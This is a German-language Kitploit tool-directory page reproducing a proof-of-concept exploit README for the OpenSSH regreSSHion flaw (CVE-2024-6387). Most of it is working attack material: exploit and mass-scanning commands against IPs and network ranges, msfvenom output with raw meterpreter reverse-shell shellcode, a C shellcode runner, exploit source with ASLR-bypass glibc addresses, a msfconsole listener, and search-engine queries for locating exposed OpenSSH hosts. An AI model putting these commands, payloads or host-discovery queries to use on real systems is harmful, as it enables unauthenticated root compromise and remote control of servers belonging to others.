Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-6387 — CVE-2024-6387 POC (Currently being edited) | Kitploit
Tools/GitHubGitHub/vuducmanhno100-cloud/cve-2024-6387
Vulnerability AnalysisExploitationShellcodePenetration TestingRemote Access ToolPayload Development
GitHubvuducmanhno100-cloud/cve-2024-6387

CVE-2024-6387

CVE-2024-6387 POC (Currently being edited)

Repository anzeigen
vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-6387

CVE-2024-6387 POC (Wird derzeit bearbeitet)

openssh CVE-2024-6387 - PoC

📜 Beschreibung

Hinweis: Dieses Skript ist ein schneller Prototyp-PoC; es können Fehler und Probleme auftreten. Getestet auf: Kali Linux, ParrotSec, Ubuntu 22.04

Schwachstelle für Remote-Codeausführung ohne Authentifizierung im OpenSSH-Server

Es wurde eine Race-Condition im Signalhandler des OpenSSH-Servers (sshd) gefunden, bei der ein Client nicht innerhalb von LoginGraceTime Sekunden (Standard 120, bei alten OpenSSH-Versionen 600) authentifiziert wird. Daraufhin wird der SIGALRM-Handler von sshd asynchron aufgerufen. Dieser Signalhandler ruft jedoch verschiedene Funktionen auf, die nicht async-signal-safe sind, z. B. syslog().

📁 Inhaltsverzeichnis

  • 📖 Details
  • ⚙️ Verwendung
  • 🔍 Host-Erkennung
  • 🛠️ Abhilfe
  • 💁 Referenzen
  • 📌 Autor
  • 📢 Haftungsausschluss

✍🏻 Details

Die technischen Details finden Sie hier.

Der Fehler, der von Forschern von Qualys im Mai 2024 entdeckt und mit der Kennung CVE-2024-6387 versehen wurde, ist auf eine Race-Condition im Signalhandler von sshd zurückzuführen, die es nicht authentifizierten entfernten Angreifern ermöglicht, beliebigen Code als root auszuführen.

„Wenn ein Client sich nicht innerhalb von LoginGraceTime Sekunden (Standard 120) authentifiziert, wird der SIGALRM-Handler von sshd asynchron aufgerufen und ruft verschiedene Funktionen auf, die nicht async-signal-safe sind.“

„Ein entfernter, nicht authentifizierter Angreifer kann diesen Fehler ausnutzen, um beliebigen Code mit Root-Rechten auszuführen.“

⚙️ Verwendung

Scannen des OpenSSH-Servers

Voraussetzung: Python3 (aktuellste Version)

root@kitploit:~
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22

 ██████╗ ██████╗ ███████╗███╗   ██╗███████╗███████╗██╗  ██╗
██╔═══██╗██╔══██╗██╔════╝████╗  ██║██╔════╝██╔════╝██║  ██║
██║   ██║██████╔╝█████╗  ██╔██╗ ██║███████╗███████╗███████║
██║   ██║██╔═══╝ ██╔══╝  ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║     ███████╗██║ ╚████║███████║███████║██║  ██║
 ╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═══╝╚══════╝╚══════╝╚═╝  ╚═╝
   Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo 
    
Schwachstellen ausnutzen...
Versuche Ausnutzung mit glibc-Basis: 0xb7200000
Versuch 0 von 20000
Erhaltene SSH-Version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
Erhaltene KEX_INIT (1024 Bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Ausnutzung erfolgreich..!

~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root) 

Exportieren (csv, txt, json)

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json

Mehrere Ziele

root@kitploit:~
$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json

Timeout hinzufügen

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json

Netzwerkbereiche

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json

Benutzerdefinierter Port

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json

Eskalationsprozess

Reverse Shell erhalten

root@kitploit:~
# Generieren eines Shellcodes 
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes

unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

Benutzerdefinierter Payload

root@kitploit:~
#include <stdio.h>

// Platzhalter für Ihren benutzerdefinierten Payload 
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

int main() {
    // Shellcode ausführen
    printf("Shellcode wird ausgeführt...\n");
    void (*sc)() = (void(*)())shellcode;
    sc();

    return 0;
}

Tatsächlicher Payload

root@kitploit:~
#include <stdio.h>
 

#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

// Mögliche glibc-Basisadressen (für ASLR-Umgehung)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);

// Shellcode-Platzhalter (durch tatsächlichen Shellcode ersetzen)
unsigned char shellcode[] = "\x90\x90\x90\x90";

Kompilieren und Initiieren des Payloads

root@kitploit:~
# Payload kompilieren
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c 

Payload ausführen

root@kitploit:~
# Sobald Sie eine erfolgreiche Ausnutzungsmeldung erhalten, startet msfconsole automatisch eine Meterpreter-Sitzung.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22 

Payload abfangen

root@kitploit:~
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"

🔍 Host-Erkennung

  • Hunter: /product.name="OpenSSH"
  • FOFA: app="OpenSSH"
  • SHODAN: product:"OpenSSH"
  • CENSYS: (openssh) and labels=remote-access
Tool herunterladen